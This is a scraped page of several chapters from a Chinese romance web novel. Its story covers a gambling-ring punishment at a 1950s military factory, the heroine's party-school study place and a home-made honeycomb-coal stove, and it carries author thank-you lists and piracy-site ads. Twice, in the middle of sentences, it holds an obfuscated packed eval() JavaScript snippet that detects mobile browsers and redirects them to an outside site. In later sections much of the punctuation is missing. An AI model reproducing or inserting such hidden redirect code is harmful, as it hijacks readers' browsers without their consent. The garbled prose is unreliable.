保卫科的同志尚未表态,其他家属先不乐意了。 “你这个同志怎么这么冲动啊!哪有动不动就往派出所送人的!” “就是啊,小郭,有事好商量!” 把老赵头送去派出所事小,但送人去派出所总要有个理由吧? 一旦把他聚众赌博的原因说出来,那么与他一起参与赌博的人,免不了也要进一回派出所。 毕竟聚众赌博没有单蹦一个人的。 吴峥嵘用钢笔在桌面上敲了敲,“安静。” 军装比保卫科制服更有威慑力,他开口以后,会议室逐渐平静了下来。 吴峥嵘英俊的脸上毫无波澜,肃然道:“656厂对厂内聚众赌博,有明确的惩罚标准。尽管他们的赌博地点在厂外,但参与赌局的都是职工家属,住在军工大院里,因此惩罚标准同样适用。下面请保卫科的李科长给大家讲讲对这17人的处理意见。” 李科长站起身,高声道:“自656建厂以来从没发生过如此大规模的聚众赌博事件,人员众多,赌资数额巨大!厂领导得知消息后非常震怒,要求保卫科从严从重处罚,除了强制学习相关法律法规,还应该移交公安机关……” “李科长,我们一定好好教训这些臭小子,能不能放他们一马,别移交派出所了?” “我真是恨不得抽死我家老二,但去了派出所,有了案底,以后这工作说亲也会受到影响。” 李科长摆摆手说:“先听我说完,考虑到有些同志确实是初犯,而且以他们的经济条件,亲自参与赌博的可能性不大,所以,厂里决定给出第二个选择,就看家属想让他们认罪还是认罚了。” 认罪就是移送派出所。 认罚就是交罚款的意思。 大家不带任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139679|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何犹豫,几乎全都选择了认罚。 只有郭二妮,说什么也不肯给老赵头交罚款,请求厂里将人移送派出所一了百了。 这样一来,事情再次回到了原点。 把老赵头送去派出所,其他人也要跟着遭殃,那其他人认罚还有什么意义? 带老赵头去赌局看热闹的老刘头,出言劝道:“国栋媳妇,你是当儿媳妇的,哪有主动把公公送去派出所的?他进了局子,你家几个孩子的脸上也无光啊!” “连孩子爹都进局子了,再进去一个爷爷有什么!”郭二妮似笑非笑道,“老刘,我公公是跟你一起进赌场的,你要是看不过去,就把他的罚款交了!” 老刘头当即闭嘴。 除了赌资上交,每人还要罚款二十块,他怎么可能给老赵出钱! 事情一时僵持不下,双方都不肯退让。 把郭二妮惹急了,她就让对方代缴罚款。 叶满枝却在此时缓缓举起了手。 她是在场难得的女同志,万绿丛中一点红,刚举手就被李科长注意到了。 “小叶同志,有什么要讲的?” 叶满枝叹气说:“吴团长,李科长,参与赌博这些人确实不给家里长脸,我爸一辈子堂堂正正,攒下来那点脸面全被我四哥丢光了。我相信大家的心情都差不多,虽然同意给他们交罚款了,但心里肯定是不痛快的。” “这种事谁能痛快呀!上辈子真是欠了这孽障的!” “我觉得厂里罚款的目的不是为了收钱,而是想给他们一个教训。既然如此,咱能不能像公安机关一样,对他们进行劳动教育,用劳教代替罚款?” 叶满枝生怕别人抢了她的话,连珠炮似的说:“大家可能已经听说了,市教育局给咱们光明街批了一个建小学的指标,但是由于财政资金紧张,需要咱们街道居民自行出钱出力建小学。” “这17位同志,既是职工家属,也是光明街居民。我觉得可以让他们去小学工地上工作一段时间,得到惩罚的同时,还能为小学生上学出一份力。” 叶满枝一口气将话讲完,心里其实也不太确定。 毕竟656在坟场那边也有扩建任务,要是把他们拉去坟场干活也算是劳教。 听了她的话,大家都沉 思起来。 家属们本就恨得牙痒痒,即使答应掏罚款,也是捏着鼻子掏的。 用劳教代替罚款,那是大家巴不得的好事! 既省了罚款,又能让这群混蛋吃些苦头,受点教训! 大家一齐将目光投向李科长和吴峥嵘。 不等李科长开口,吴峥嵘先表态说:“小叶干部的提议不错,不过,考虑到这些同志没有盖房子的经验,让他们去工地帮忙是对小学生安全的不负责任。我提议,让这17位同志每人去江边挖一吨沙子,另外每人再为学校支援200块红砖。” 叶满枝心想,这样就更好啦! 现在的人工费不值钱,建筑材料才值钱呐! 而且从江边往光明街运沙子,运输也是个很大的问题。 要是能让这些人挖了沙子运回来,能给街道节省一大笔拉沙子的运输资金呢! 吴峥嵘提的建议不算过分,家属们没再讨价还价,纷纷表示愿意让自家混账支援小学校建设。 叶守信出面在表格上签了字,揪着老四的脖领子就把人拽出了会议室。 临走时他还特意跟吴峥嵘道了谢。 “我家这小子不争气,这回让吴团长见笑了。” “叶叔别客气,”吴峥嵘笑道,“根据四哥和其他人的口供来看,他确实是去赌场旁观别人打牌的,暂时还没有正式上过赌桌。三哥和来芽都很优秀,想来四哥也差不了,您回去说说他就好。” 叶守信暗道,幸好还有两颗辣椒是辣的,否则他真是没脸见人了。 他惦记着老四的事,暂时顾不上追究对方称呼上的变化。 叶满枝却偷偷瞪了吴峥嵘一眼。 你比我四哥还大呢,乱喊什么四哥啊! 作者有话要说 一百个红包,明天见~ 感谢在2024-08-0312:07:22~2024-08-0411:59:00期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火箭炮的小天使:只给好文投雷1个; 感谢投出地雷的小天使:ggnzc2个;磕CP哪有不疯的1个; 感谢灌溉营养液的小天使:xiangzi84瓶;红苕芒芒63瓶;胖彦、森林纪事、MOMO 50瓶;外星人秋裤36瓶;我胖林呀35瓶;叮珰珰、良月30瓶;一猪27瓶;活在梦里、羽童童的小羽儿24瓶;尼古拉斯小明23瓶;君唯21瓶;黑糖、夏天天最可爱了、黄花菜、公子如玉、0黄_黄020瓶;帅到掉渣18瓶;邹邰13瓶;朱萸、卡卡卡卡卡、方奇、灿灿、流沙如水、四夕、luoxueshi5、帐号太多登陆太麻烦、吹水妹、秋雨、游瓷、潇湘雨落听花凉、夜筱虞、九疑山的小兔兔、水果岚紫、市井人家、米琦琦ya、一撮羊毛10瓶;觑觑眼婷婷8瓶;小年、是HyunA7瓶;世界和平6瓶;沅沅、李包包、ZHOUGE76、安之一、李木木、又见春、今天努力了吗、tanio、Carol、wuyun、肖战顺顺利利(^_^)v、xiaoyang、品卓、47473392、雪孩子、要发大财、地球媛住民、学习废、25767564、什么时候发芽、土豆妈妈、anna、widely215瓶;Camellia、288055783瓶;iuv~v、红糖酥饼、行走的海豚、不分先后、zjzdoyouknow、natsuki、小叶子2瓶;xuanxuan127、墨陌、crystal、偶人为之、巧克力张张包、风景旧曾谙、??柠檬的柠的檬、泥鳅鱼娃娃、tianxiawukeng、甜菜、陈于霁、我的王霸之气在燃烧、37087880、感觉、cc?、mints、团子、陌陌、~维E安好~、49656349、咿呀咿呀哟、胖蟹、kimpl0913、56204360、喵喵、果子、等啊等、千与千寻、柚子与花、小鱼、查查、酸奶少68、春天花花、啦啦啦啦、69208282、27919386、可尔必思、雾弥、美好晴空、涟漪、清舞飞扬、我还是最爱吴磊、kareN不另外加糖、鸢栀cissy、秋秋糖、滴滴答答滴、喵喵喵、1、飞羽、澪濎、然然然然然然然然、鹿拉拉、啦啦啦、TEN、Lychee、鲈鱼轻轻、徐徐年华、Renhy、明月松间照、57089820、muza、久久、梦、syt、天气变冷了、江江江、筱筱、千万、嘀嗒嗒、‘早起的虫儿、被鸟吃、晚来天欲雪1瓶; 非常感谢大家对我的支持我会继续努力的! 第 42 章 小叶干部要去进修... 四哥聚赌被抓,算是彻底把老叶惹毛了,当天回家他就被按住胖揍了一顿。 老叶将其他人请出了家门,叶满枝没能见到四哥挨打现场。 但只看他事后撅着屁股哼哼的惨样,就知道老叶下手有多狠了。 叶守信这次终于下定了决心,对老四说:“你先到江边挖沙子去,把沙子和砖头凑齐了,然后在小学校的工地上积攒点经验。现在厂里扩建分厂,基建任务多,我想办法把你弄到基建处当个建筑工人。” 他以前担心这小子烂泥扶不上墙,进了军工厂不守规矩,可能惹祸上身。 如今看来,放任他这样晃荡下去,反而更容易跟人学坏。 让他去工地上流点汗,也就没心思想些有的没的了。 他心里打定了主意,便不再跟老四废话,转而关心起闺女的事情。 “你跟小吴是怎么回事?他怎么连三哥四哥都喊上了?” “就那么回事呗,我俩现在谈对象呢。” 叶满枝腹诽,这俩人都挺能装的。 老叶明明已经知道情况了,还装得跟刚发现似的。 吴峥嵘就更别提了。 昨天在食堂吃晚饭那会儿,她问对方喊四哥的时候别不别扭,人家说反正早晚要改口,不如刚开始就大方点,省得以后还要为了一个称呼纠结。 叶满枝再次对他的坦率无言以对。 老叶试探着问:“在你四哥这件事上,人家小吴也算帮了忙,咱们用不用请他来家里吃顿饭,感谢一下啊?” “人家来咱家看到四哥这个惨样,多尴尬呀!”叶满枝哼道,“他在厂里跟你打招呼的时候,你态度好点就行了。” 叶守信瞪眼问:“他还跟你告状啦?” “没有,只看你对我大姐夫和二姐夫的态度,就能猜到你在吴峥嵘面前是什么做派了!” 老叶惯爱在女婿面前拿乔,时不时就要耍一下老丈人的威风。 吴峥嵘的职务高,以防未来压不住女婿,老叶就更得摆谱儿了。 “既然你觉得不用请客,那我们就听你的。” 叶守信想请客的心并没多真诚,主要是自家老四刚被人家逮住,两方相见时,他难免底气不足。 想到这里,他又狠狠瞪了 不争气的老四一眼对小闺女说:“这次让你四哥去工地上干活你就可劲儿使唤他别让他有力气想别的!” 叶满枝点头答应着。 她也想让四哥受点教训 考虑到这些赌徒都是心思活、不服管的叶满枝跟着他们一起去了一趟东源码头。 用介绍信换取了工程用沙指标以后她与人家管理办公室的人商量。 “卢主任工人在这边挖沙子的时候您受累经常来看一看吧。” “挖沙子有啥可看的没事这一片随便挖。” 叶满枝往江滩上指了指说:“我们这些工人都是一根筋要是盯着一个地方挖挖出一个大坑来那也算是安全隐患吧?” 卢主任惊讶地问:“真有这么死心眼的人?谁挖沙子会可着一个坑挖啊?” “您看那边!” 叶满枝指向四哥所在的位置五六个青年正围成一圈一边声讨保卫科和各自的老子一边用铁锹挖沙子。 没几下就挖出一个大坑来。 “您看到了吧不能让他们聚堆!” 聚在一起叽叽咕咕准没好事! 卢主任叼着烟瞅了好半晌心里也担心这群死心眼给江滩挖出一个大坑来。 “行一会儿我喊个人去盯着点。” 叶满枝向他道谢把劳教分子们扔在沙滩上就放心离开了。 反正每人给小学校送一吨干沙和两百块砖是早就说好的完不成任务就不让穆主任给他们签字。 对于这批突然出现的免费劳动力穆主任特别高兴。 最近市教育局派了一个工作组来小学工地上考察这17个劳教分子以及他们送来的建筑材料算是解了她的燃眉之急。 穆兰在“公办民助”试点小学这个项目上很有野心若是真的办成了这座小学将成为全市的标杆。 因此她对用心工作的小叶同志给予了肯定。 按照穆兰以往的风格多以口头表扬居多但她这次一反常态直接给了叶满枝一个进修名额。 基层干部进修班是市委党校针对基层干部组织的提高班用以提高基层干部的理论水平和政治素养。 每年春秋 两季都会开班,但每个基层单位只有一个进修名额。 今年秋季班的进修名额,穆兰没搞内部投票那一套,直接就给了叶满枝。 叶满枝和赵二贺在推销公债这项工作上一骑绝尘,在其他人的进度刚刚过半时,他们还有八百多块就能完成一万元的指标了。 所以,穆兰把最近工作的完成度当作衡量标准,叶满枝和赵二贺是最有资格得到这个进修名额的。 但赵二贺是搞体育出身,在学历方面欠缺一些,这个名额自然就落到了拥有高中学历的叶满枝身上。 其他人即使心里有想法,也挑不出什么毛病来。 叶满枝听到自己名字的时候,好似被天上掉下的大馅饼砸中,半张着嘴愣了好一会儿。 加上试用期,她参加工作的时间,满打满算才四个月,这种唯一的进修名额,无论如何也落不到她头上吧? 可是,穆主任就是把名额给她了呀! 嘿嘿。 叶满枝回过神来,连声向穆主任保证:“主任,我去了党校以后一定用心学习理论知识,以后要更加全心全意地为人民服务!” 她激动得鼻头都发酸了。 领导能给她这么宝贵的机会,说明她在工作上的努力都被领导看到了呀! 她突然就明白为什么古代有那么多“士为知己者死”了。 在当下这一刻,她想要鞠躬尽瘁的心情也倏地达到了顶峰。 她可太高兴啦! 穆兰看出她的激动,笑着说:“党校是党组织培训党员干部的学校,这个每年两期的基层干部进修班,是非党员干部唯一能去党校学习的机会,足可见这个机会有多宝贵了。所以,去了进修班以后,一定要多听多看多学习,好好用理论知识武装自己!” “进修班已经组织过两期了,魏珍和小刘都去学习过。不过小刘调去了656厂工会,你要是对培训班有疑问,就多跟魏珍交流,她当时的结业成绩也很不错。” 叶满枝连声答应,为这张珍贵的大馅饼欣喜了一整天。 下班后与吴峥嵘在食堂碰头的时候,甫一见面就被他看出了端倪。 “今天遇到什么好事了?怎么这么高兴?” 叶满枝眼睛亮盈盈地透露:“穆主任推荐我去 市委党校参加基层干部进修班了!” 吴峥嵘语气里透出几分讶异,“你才上班几个月?这么快就进步了?” “算不上进步吧,就是去学校进修的。”叶满枝假谦虚。 “咱们市里的党校刚成立两三年,被选送去进修的都是各单位表现优异的党员干部。656也有类似的推荐名额,厂办、工会、团委那些人为了几个进修名额争得不可开交,像你这样的年轻干部,基本没什么机会。能拿到这个进修名额,说明你本身已经足够优秀了。” 叶满枝被夸得眉开眼笑,唇角的弧度压也压不住。 她能拿到这个名额,很大程度上是因为街道办庙小人少。 若是毕业就进厂工会工作,这种进修名额绝不会落到她头上。 “这个机会这么宝贵呀!那我周末得去书店买几本书提前自学一下,争取在结业考试的时候取得好成绩。我们办公室的魏姐说,学员的考试成绩要寄往各自单位,记入个人档案,所以这个结业考试成绩是要跟着档案走一辈子的,一定不能拉胯!” 吴峥嵘接过书单扫了一眼,大多数是马列之类的理论著作。 “这些书我都有,你别再花钱买了。” “你要把书借给我啊?” “嗯,这些书不便宜,不是专门搞理论研究的,没必要买全套。”吴峥嵘将书单推给她,“你一会儿去我那里自己找吧。” 叶满枝顿住筷子冲他笑。 “又笑什么?” “我还没去过你家呢。” “这次可以去看看了,”吴峥嵘用寻常的语气说着并不寻常的话,“不出意外的话,你未来很长一段时间都要住在那里。” 叶满枝再次为他的直白语塞。 食堂里人来人往,总有职工有意无意地往他们这边打量。 说更新,记住域名qiexs?(请来企鹅小 说 看最新章节 完整章节) 她担心两人的对话被人听见,在桌下用脚尖踢了他小腿一下,就埋头吃饭不说话了。 不过,从食堂出来以后,她还是乖乖跟着人家回家取书了。 吴峥嵘住的是军工大院里最早落成的那片宿舍区,厂领导和苏联专家们似乎都住在这一片。 厂长副厂长,总工副总工的住房标准是三室一厅。 但厂里新盖的赫鲁晓夫楼,最大的也只有两室 所以厂领导们自建厂以来一直住在东门这片黄墙白窗、灰绿屋顶的平房里。 当然与胡同里那些普通平房不同军工大院里的平房都是独门独院且不相连的。 两栋平房之间会相隔几米让住户之间不至于太疏远又能保证一定的私密性。 叶满枝随着他走到最尽头的16号院门口时忍不住问:“16号是不是比其他房子小一些啊?” 只看房子外观就能看出不同了。 “嗯我当时是临时被上级调来暂代军代表的没打算在滨江久留只让后勤给我安排一套环境最安静的住房。这房子确实安静隔壁只有一户邻居但面积比其他房子稍小一些。” 由于家庭原因吴峥嵘不太想回滨江工作当时以为来656厂只是一个短暂的过渡过上一年半载就会有人接替他。 要是早知会在这里解决终身大事他就该要一套面积更大的。 叶满枝被他请进院门发现院子里面特别干净不但没种花草连蔬菜瓜果也没有像五哥那样在院子里养鸡养鸭就更不可能了。 这个院子就是字面意义上的院子空旷得像个操场。 “这么大的院子你怎么什么也不种啊?” 吴峥嵘坦言:“我不会弄那些等你住进来以后自己种吧。” 叶满枝在空旷的院子里随意看了看正想调侃他居然也有不会的东西 小说更新,记住域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节)突听见隔壁院子的大门被打开了有人从门里走了出来。 她也不知道自己在想什么听到动静嗖一下就躲到了男人身后。 吴峥嵘伸手护住她无奈道:“咱俩的关系不是已经过了明路了吗?你来我家还躲什么?” 明明是光明正大谈恋爱怎么搞得跟偷情似的…… 叶满枝也为自己的下意识行为傻眼“不知道啊被人看见咱俩在一起我总觉得不好意思。” 在公共场合时还好进了他的家门她心跳一直怦怦的。 隔壁的院子传来关门落锁声两道人影已经渐行渐远了。 吴峥嵘盯着她紧张兮兮的表情端量片刻忽然轻笑出声低头便吻了下来。 双唇相贴的时间并不长只有三四秒但也足够他们接一个完整的吻了。 叶满枝在他胸膛上推了一下,“还在外面呢。 “没关系,有大门挡着,吴峥嵘好笑道,“我要是不亲你一下,似乎会浪费你的做贼心虚,你现在可以躲起来了。 叶满枝抿了抿唇,红着脸虚张声势,“谁做贼心虚啦?我才没躲呢!哎呀,快走吧,把我的书找出来,别耽误我学习进步! 吴峥嵘被她推进屋里,随手拉开电灯开关。 三个房间只被他使用了两个,东边是卧室,西边更大的那间是书房。 叶满枝迈进书房的时候,不由错愕地瞪大眼睛。 我的天啊。 除了图书馆和书店,她从没见过这么多书! 两排实木书架贴墙站立,书架整整铺满了两面墙,其上的所有空间都塞满了书。 有的书还零散地堆放在窗边的写字台上。 “你怎么有这么多书啊?不愧是书香门第出身,叶满枝满眼佩服地问,“这些书你都看过吗? “没有,有些书没什么意思,看到一半就放下了。 他来滨江工作的时候,带了五箱行李,其中四箱是书籍,因为要来军工厂当军代表,书籍基本都是与专业相关的。 决定在滨江定居以后,他又回省大那边的老宅收拾了一些以前的旧书搬过来。 再加上平时零零散散买的新书,书架上的书籍就越积越多了。 叶满枝从书架前经过,视线一一扫过书脊上的名字,数量最多的是工科类书籍,也有小说杂谈、工具书和外文书籍,甚至还有旧社会书馆里才能看到的那种线装书。 她书单上的马列著作被堆放在一个角落,还算整齐地排列着。 叶满枝深刻怀疑,对方所说的“有些书没什么意思,指的可能就是这几本。 她对照着书单,将那几本上课会用到的书抽出来,然后再次感叹:“你的书好多哦! 这得花多少钱啊? “你想看的话,可以随时过来看。书架上有的书,你就不要买了,免得以后家里出现重复书籍。吴峥嵘从自己的钥匙串上拆下两把钥匙给她,“这是外面两道门的钥匙,我不在家的时候,你也可以随时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139680|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来家里看书。 叶满枝摆手说:“算了,你身份特殊,万一有什么保密信息被 泄露了,那多麻烦啊! “我从不回家处理工作,吴峥嵘将钥匙放进她毛开衫的口袋里,“你放心来吧。 这间房子的上一任住户是一位苏联人,他完成支援任务返回苏联以后,后勤将房子分配给了吴峥嵘。 不过,吴峥嵘在工作上向来谨慎,工作只在军代室里完成,从不将重要资料带回家,也不在家里谈论工作。 这间书房里没什么需要保密的。 叶满枝伸手压了压口袋里的钥匙,嘟哝道:“你不在家的时候,我才不来呢,被人看见了多尴尬啊! 但她也没再将钥匙推回去。 自从她跟吴峥嵘的关系在家里公开以后,老叶给她设定了每天八点必须回家的门禁。 她取了书之后,没在书房里逗留太久,大致参观了一下房子的格局,就从小院儿里出来了。 两人绕着大院溜达了一圈,还差一分钟八点的时候,吴峥嵘将她准时送到了叶家楼下。 “上去吧,他站在橙黄的路灯下微笑,“以后欢迎小叶同志天天来。 叶满枝被他笑得脸热,违心地说:“那你把家里好好收拾一下,光秃秃的一点也不好看。 “行,你下次过来帮我指点指点。 * 突然闯入了吴峥嵘的私人领域,又借来了好几本看起来很贵的大部头,让叶满枝持续兴奋了好几天。 尽管政治理论知识晦涩难懂,但是为了让自己在结业考试时能够一鸣惊人,取得好成绩,她还是见缝插针地提前预习了起来。 报名和开学时间在十一月中旬,距离正式上课还有一个礼拜。 入秋以后,街道办的工作渐渐清闲了下来。 叶满枝工作和学习之余,也入乡随俗地跟着大家织起了毛衣。 她以前习惯用缝纫机做衣裳,织毛衣的技巧并不熟练。 所以,她决定从最简单的织围巾入手。 先织一条围巾送给吴峥嵘,毕竟她已经从对方那里收到过很多礼物了,至今还没回过什么像样的礼呢。 整个街道办里,凤姨的编织技巧是最好的,她就像一个无情的织毛衣机器,不用低头观察针线,就能快速而准确地织出各种繁复的花样。 叶满枝正向凤姨虚 心请教一个麻花结的织法时,穆主任裹着深秋的凉意,从区里开会回来了。 刚解下围巾,她就向大家公布了一个让所有人意外的消息。 市里要派一个工作队进驻光明街,指导光明街道办和光明派出所,组成一支“处理剩余劳动力工作小组,专门处理剩余劳动力的问题。 “目前滨江市内共有160多万人口,能参与劳动养活自己的,只有60多万,剩余那100万人都是靠别人工作养活的,咱们市内的剩余劳动力实在太多了!所以省里和市里给各区县下达了最新通知,要动员自今年四月以后,从乡间来滨江居住的人返回原籍搞生产! 刘金宝咧着嘴问:“主任,人家既然进了城,肯定是想在城里定居生活的,谁还愿意回原籍劳作呀?这种事怎么动员啊? 人家好不容易找机会出来了,现在又偏要让人家返回老家,这种动员就是纯纯地得罪人呀! 处理剩余劳动力,比推销公债还让人头疼呢! “这是上级下达的任务,所有街道必须严格完成,盲目流入城市的人口太多,导致乡间无人生产,已经对农业合作化产生了很大影响。今年省内好多农业社的粮食出现了歉收的情况,很大程度上是因为农业人口盲目外流造成的。 “农民来到城里以后,一时半刻找不到合适的工作,不但影响农业生产,还会给城市治安和就业造成很大压力。穆主任直接宣布,“咱们光明街要动员返乡的人数是600人,在春节之前必须完成。 叶满枝快速合计了一下,全街动员600人的话,平均到每个居委会,至少要动员一百人回乡生产呐! 她在心里回忆起第五、第六居委会的情况,不自觉就想到了郭二妮公公那张苍老的脸。 作者有话要说 一百个红包,明天见~ 感谢在2024-08-0411:59:00~2024-08-0512:04:39期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:694600741个; 感谢投出地雷的小天使:絮、蘑菇莉、红袖白杨、薛漂亮1个; 感谢灌溉营养液的小天使:小君58瓶;salinabeij、秀水长青、一只白兔子50 瓶;miumiu_yan48瓶;7234718840瓶;蘑菇莉36瓶;墨染槿涩34瓶;kangkkk27瓶;13461291、JennyWang25瓶;浮梦之棠23瓶;好运爱笑南瓜、黄花菜、惜江月、6683647、20263450、木木mumu、listen、外星人秋裤、扶摇、一伊、柠檬的叶子、是阿楚啊20瓶;lily@、ZZZZ、62002897、魔仙堡里的小仙女、洛洛华城、zjy在在、沐沐墨墨、赵一一、黑灯下黑、钟小离、小日青、蓝色水杯、冰儿、景逸、番茄炒蛋葱花汤10瓶;克莱因子8瓶;彦小九、兴兴点灯6瓶;敏敏姐姐啊、突然有点小悲伤、地球媛住民、小龙女□□、野雾、王哪跑、鲸落南北、泥泥、Onika5瓶;JIAO4瓶;挑剔型读者、gozhiyu3瓶;是阿虚啊、鱼羊、sunny、别叫我上班呀、zjzdoyouknow、明月松间照、aurora、阿沐2023、遛遛的sunflower2瓶;玛卡巴卡、晚来天欲雪、筱筱、YU、LL、嘀嗒嗒、一只桃子、Estelle、kimpl0913、63037405、洛、软软、缺德三公主、小鱼尾巴、muza、时闻、Found、qwert、crystal、37087880、雾弥、涟漪、果子、红糖酥饼、fanfan、49656349、natsuki、莹、不出、xuanxuan127、然然然然然然然然、啦啦啦、杭南、杰子、想不出名字的马小马、tingt、23461934、2025年入学的研究生、yangtt、呜咪、玖陈林、helloza、瑞瑞、偶人为之、1、20838633、土豆妈妈、啊~兔、鮀鮀鱼子酱、明明、‘早起的虫儿、被鸟吃、花喵、可尔必思、李包包、鲁米茜茜、刘文文文文文文文文文、……、小砂子的深夜食堂、??球球、美好晴空、飞羽、行走的海豚、syt、滴滴答答滴、清舞飞扬、mints、豆子、柠檬的柠的檬、妮妮、重生、看天空〆白云飘、尚千辰、明孞、bingmay、咿呀咿呀哟、喵喵、春天花花、陌陌、小叶子、时韫、花璨1瓶; 非常感谢大家对我的支持 第 43 章 小叶同志另辟蹊径 所谓的处理剩余劳动力工作小组,其实就是把街道办的所有人,以及派出所的所有人整合到一起,共同动员剩余劳动力回乡生产。 叶满枝对这种工作实在提不起兴致,哪怕是郭二妮公公那样的人,她也不想上门劝人家回乡。 说不上是什么原因,也许是因为老叶家同样出身农村吧,反正她就是没什么干劲儿。 主动回乡生产和被人劝返回乡,那心理感受肯定是不一样的。 因此,参加工作以来,小叶干部第一次出现了消极怠工的情况。 “小叶,你怎么回事啊?刘金宝凑过来问,“我看你对劝返工作好像不太上心呢? 叶满枝继续低头织围巾,信口胡诌道:“劝返也不能盲目劝返啊,我们大院儿里正在有策略地劝返。 “你们有什么策略跟我分享一下呗。 “我们的策略就是先让一部分条件好的人离开。比如在乡间有田地、有亲人可以依靠,在滨江没有固定职业,而且还没被派出所批准迁入户口的,这部分人在农村有退路,对城市的归属感也比较低,可以先让他们自愿离开。 “那人家怎么能自愿离开啊? 叶满枝也不知道,只好说了句废话,“靠咱们做工作呗。 反正她把郭二妮公婆的情况告诉居委会主任了,能否动员成功还得看居委会的。 这项劝返工作是个长期任务,最起码要做到春节前。 由于大家的劝返成果都不理想,除了刘金宝问过一次,其他人并没察觉到叶满枝消极怠工的情况。 她就在织围巾和等待开学的日子里,迎来了56年的初雪。 行道上的落叶尚未清扫干净,天上便纷纷洒洒落下了小雪。 叶满枝下班回到大院时,居委会李大娘正拿着大喇叭通知大家收回晾晒的衣物,关好门窗。 “天气预报已经说了,预计后半夜有暴雪和大风,还没生炉子的人家,赶紧把炉子生起来,省那点煤省不出金山,不要再省啦! 叶满枝听着李大娘的话,笑了一路,刚进家门就问常月娥:“咱家的煤够不够烧啊?李主任喊得嗓子都劈了,咱赶紧把炉子生起来吧。 “够烧两天的,明天让你四哥去煤站拉点煤回来。 “我们街道办和派出所还想一起批发蜂窝煤呢咱家买多少?我明天去单位报个数。” 常月娥却摇头说:“算了那蜂窝煤不好烧放进炉子里掌握不好火候。我用了几个月感觉没节省多少用量还是用原来的散煤吧。” “不能吧?”叶满枝疑惑道“这是市里推出的新产品我那次去市商业局开推介会的时候副局长说用蜂窝煤能节省不少呢。” 四嫂插话:“领导自己又没用过你别听领导胡吹了!我天天跟咱妈一起做饭那蜂窝煤好不好用我俩最清楚了!” 叶满枝不怎么下厨对蜂窝煤的情况不甚了解。 但她觉得既然市里大力推广使用蜂窝煤一定是有科学依据的。 她吃过晚饭以后又去楼里另几户使用蜂窝煤的人家打听了一下情况。 大家普遍反映蜂窝煤最大的优点是烟少至于省煤省钱之类的暂时还没看出来。 负面反馈太多叶满枝心里也跟着动摇了。 她把蜂窝煤滑铁卢写在了当天的日记里给吴峥嵘写信的时候也顺便吐槽了一番。 军代室正在跟总师室合作研究什么项目叶满枝有两天没见到吴峥嵘了。 他俩不见面的时候就用甲字16号信箱联系。 相比其他青年男女他们属于联系极其频繁的。 次日一早叶满枝套上棉袄踩着咯吱咯吱的积雪将信纸投进了甲字16号信箱。 结果当天晚上她就收到了对方的回信。 吴峥嵘说从理论上讲蜂窝煤应该比散煤上火快、火力猛居民们之所以会觉得蜂窝煤不节能很可能是煤炉子的问题。 现在的煤炉子是针对散煤设计的内部空间比较大而蜂窝煤的空气接触面比散煤小很多原本用一块蜂窝煤就能做一顿饭因为炉子的原因可能需要加到两三块…… 巴拉巴拉用一张稿纸的内容 而对于叶满枝拐弯抹角问他想不想自己的话吴峥嵘只简单写了一个“想”。 叶满枝不死心地将稿纸背面翻过来瞅瞅。 这就完啦? 她其实并不是很想知道蜂窝煤不省煤的原因。 不过既然人家认真分析了她也不好太冷漠只回了一句“那应该用什么样的炉子”便将字条扔进了投递口。 再没写黏黏糊糊的废话。 吴峥嵘当天没给她回信次日一早的信箱里也是空的。 叶满枝心想这人也许已经感受到她的冷淡开始闹脾气了。 然而临近下班时吴峥嵘却将电话打到了街道办让她下班以后去军代室一趟。 叶满枝不知他又搞什么名堂时针刚指向五点就背着挎包往厂里跑。 “让我来干嘛啊?” “你不是想要能配套蜂窝煤的炉子吗?”吴峥嵘把她领进办公室指向墙边的两个煤炉子“就是这种。” 叶满枝好奇地走过去瞅了一眼。 两个铁皮炉子一高一矮即便是最高的那个也要比普通煤炉小一些。 炉内的空间非常小直径只够放一块蜂窝煤的。 “这是你做的炉子啊?”叶满枝回头问。 “嗯材料不太齐全先做两个简易的。” “炉膛的空间这么小每次只能烧一块煤呀?那做饭的火力可能不够。” “小的能叠放三块大的能放五块。”吴峥嵘将炉子上的烧水壶提起来介绍道“如果只是烧水 叶满枝摘下手套伸手在炉火上感受了一下余温。 不烫手但还是暖的。 这是一块煤从下午燃到傍晚烧了两壶开水之后余下的温度。 如此看来烧蜂窝煤确实比散煤省一些。 叶满枝围着两个炉子稀罕了一会儿笑吟吟地问:“你这两天都在做这个啊?” 她还以为对方不回信是在闹脾气呢。 “没有昨天晚上就做好了主要是等黄泥和保温材料干透需要一些时间。”吴峥嵘抬了抬下巴“小的这个你拿回去吧大的还没干透还要晾几天。” “没想到你还会做煤炉子呢这不是杀鸡用牛刀嘛!”叶满枝挎上他的臂弯用气声表 扬“咱们峥嵘哥哥太棒啦!” 吴峥嵘看着她笑“要是只给你画个示意图告诉你这就是蜂窝煤炉子我怕你回信的字数越来越少。反正已经做过捕蝇器了不差一个煤炉子。” 叶满枝拒不承认闹过情绪拉着他说:“我是因为这两天工作太忙才写得少了。走走走今天我请客犒劳一下大功臣!” 她用军代表同志的粮票在食堂请了客吃过晚饭便将那个新型煤炉子带回了家。 “你提个油漆桶回来干嘛?”叶守信背着手问。 